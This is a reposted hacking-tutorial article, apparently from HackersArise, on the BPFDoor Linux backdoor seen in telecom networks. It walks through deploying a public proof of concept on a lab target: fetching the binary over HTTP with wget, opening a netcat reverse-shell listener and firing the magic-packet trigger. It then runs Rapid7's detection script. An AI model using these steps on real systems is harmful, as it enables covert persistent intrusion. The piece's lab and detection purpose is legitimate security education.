National Cyber Warfare Foundation (NCWF)

Compromising Telecom Systems: Deploying and Detecting the BPFDoor Backdoor


0 user ratings
2026-03-28 15:27:24
milo
Red Team (CNA)
BPFDoor is a stealthy Linux backdoor that hides at the kernel level and listens silently for a “magic packet” to activate.

Welcome back, aspiring cyberwarriors.





Sometimes the most interesting threats are not the loud ones. They are not ransomware that locks screens or malware that crashes systems. The most dangerous threats are often the quiet ones, the ones that sit patiently inside critical infrastructure and wait. What we are going to look at today is exactly that kind of threat.





A months-long investigation by the Rapid7 Labs uncovered evidence of an advanced China-nexus threat actor known as Red Menshen. This group has been placing extremely stealthy digital “sleeper cells” inside telecommunications networks. These are long-term operations designed for persistence, espionage, and strategic access to sensitive environments, including government infrastructure. At the center of this activity is a piece of malware known as BPFdoor. It represents a different way of thinking about persistence and stealth on Linux systems. In this article, we will walk through how it works, and more importantly, how you can detect it.





What is BPFDoor





Unlike conventional malware, BPFdoor does not behave in ways that defenders usually expect. It does not open a visible listening port or maintain a noisy command-and-control channel. If you run your usual network checks, everything may look completely normal. 





BPFdoor is a passive Linux backdoor that operates at a very low level in the system. It leverages the Berkeley Packet Filter, often referred to as BPF, which is a powerful feature inside the Linux kernel designed for packet filtering and analysis. Normally, BPF is used for legitimate purposes such as monitoring or performance tuning. In this case, it is being abused. The backdoor attaches itself to a raw network socket and begins silently inspecting incoming traffic. What makes this particularly dangerous is that it sees packets before firewall rules like iptables or nftables have a chance to process them. This means that even if your firewall is configured correctly, the backdoor can still observe traffic that should have been blocked.





Most of the time, the backdoor does nothing. It remains completely dormant, which makes it extremely difficult to detect through behavior. It is waiting for a very specific signal, often referred to as a “magic packet.” This is not a normal network request. It is a crafted packet that contains a predefined pattern known only to the attacker. When that packet arrives, the backdoor wakes up and establishes a reverse shell connection back to the attacker. From that moment, the attacker regains access to the system without ever exposing a traditional entry point.





For this walkthrough, we will focus on a Proof of Concept implementation. The POC is simplified. It does not include advanced features such as encryption, persistence mechanisms, or espionage modules. However, it demonstrates the core idea very clearly, which is what matters for learning. The original rootkit can be found here.





Setting Up





The setup process is straightforward and simple. We begin by cloning the repository and modifying the trigger file. This file is responsible for sending the magic packet that activates the backdoor.





kali > git clone https://github.com/pjt3591oo/bpfdoor.git
kali > cd bpfdoor
kali > vim trigger.c




editing the bpfdoor trigger








Inside the trigger.c file, you need to specify two IP addresses. One is the target machine where the backdoor will run, and the other is your attacking machine, in this case your Kali system. This is an important step because the trigger must know where to send the activation packet and where to establish the reverse connection.





You will notice a small detail in the code, a character ‘X’ placed before the IP address. It is a simple magic byte used by the Proof of Concept to identify valid trigger packets. It should not be removed, as it is part of the mechanism that wakes up the backdoor.





Once the file is configured, you compile both the trigger and the backdoor.





kali > gcc trigger.c -o trigger
kali > gcc bpfdoor -o bpfdoorpoc
kali > chmod +x trigger




compiling the bpfdoor backdoor and the trigger








We are compiling on Kali because not all Linux distributions include a compiler by default. After compiling, we are ready to move to the target system, which in this case is an Ubuntu machine.





Exploitation





Now comes the part where things become more interesting. In real-world operations, attackers would already have root access on the system. They might compile the malware locally or transfer it using different methods. For demonstration purposes, we will use a simple HTTP server.





On your Kali machine, you start a server and download the backdoor:





kali > python3 -m http.server 9001
ubuntu > wget http://192.168.56.107:9001/bpfdoorpoc




Once the file is downloaded, you make it executable and run it.





ubuntu > chmod +x bpfdoorpoc
ubuntu > ./bpfdoorpoc




delivering the bpfdoor backdoor








At this point, the rootkit appears to hang. This is expected behavior. The backdoor is now running in the background, waiting for the magic packet. You might see some output, but nothing that immediately indicates what it is doing.





On your Kali machine, you prepare to receive the reverse shell by opening a listener:





kali > nc -lvnp 4444













This port must match the one defined in your trigger configuration.





In a separate terminal, you execute the trigger:





kali > ./trigger





triggering the backdoor








The trigger sends a specially crafted packet that the backdoor recognizes. 





receiving the reverse shell from the backdoor linux system








The moment it detects the correct pattern, it activates and initiates a reverse shell connection back to your listener. If everything is configured correctly, you will see a connection appear in your netcat session. You now have a working shell on the target system.





This is the core idea behind BPFdoor. No open ports, no obvious communication, just a hidden listener waiting for the right signal.





Detection





The interesting thing about BPFdoor is not just how it works, but how difficult it is to detect. It has been known since around 2022, but only recently has it been observed being actively used in attacks against telecommunications infrastructure. To detect it, we can use a script released by Rapid7. This script is designed to look for indicators of BPFdoor activity on a system.





ubuntu > wget https://github.com/rapid7/Rapid7-Labs/blob/main/BPFDoor/rapid7_detect_bpfdoor.sh
ubuntu > chmod +x rapid7_detect_bpfdoor.sh
ubuntu > bash rapid7_detect_bpfdoor.sh




detecting the bpfdoor backdoor








The script performs enumeration and attempts to identify suspicious processes that match the behavior of BPFdoor. In our case, it successfully detects the Proof of Concept process and reports its process ID. Even highly stealthy malware can leave traces. Detection often comes down to understanding how the system is supposed to behave and identifying deviations from that baseline.





Summary





In this article, we explored BPFdoor, a stealthy Linux backdoor that hides within the normal operation of the kernel and waits for a specific trigger. The detection script provided will help you secure your systems and ensure that no compromise has occurred. Performing regular checks is a good practice.





If you like Linux and want to learn more about how it can be used in pentesting, we recommend our training: Advanced Linux for Hackers.







Source: HackersArise
Source Link: https://hackers-arise.com/compromising-telecom-systems-deploying-and-detecting-the-bpfdoor-backdoor/


Comments
new comment
Nobody has commented yet. Will you be the first?
 
Forum
Red Team (CNA)



Copyright 2012 through 2026 - National Cyber Warfare Foundation - All rights reserved worldwide.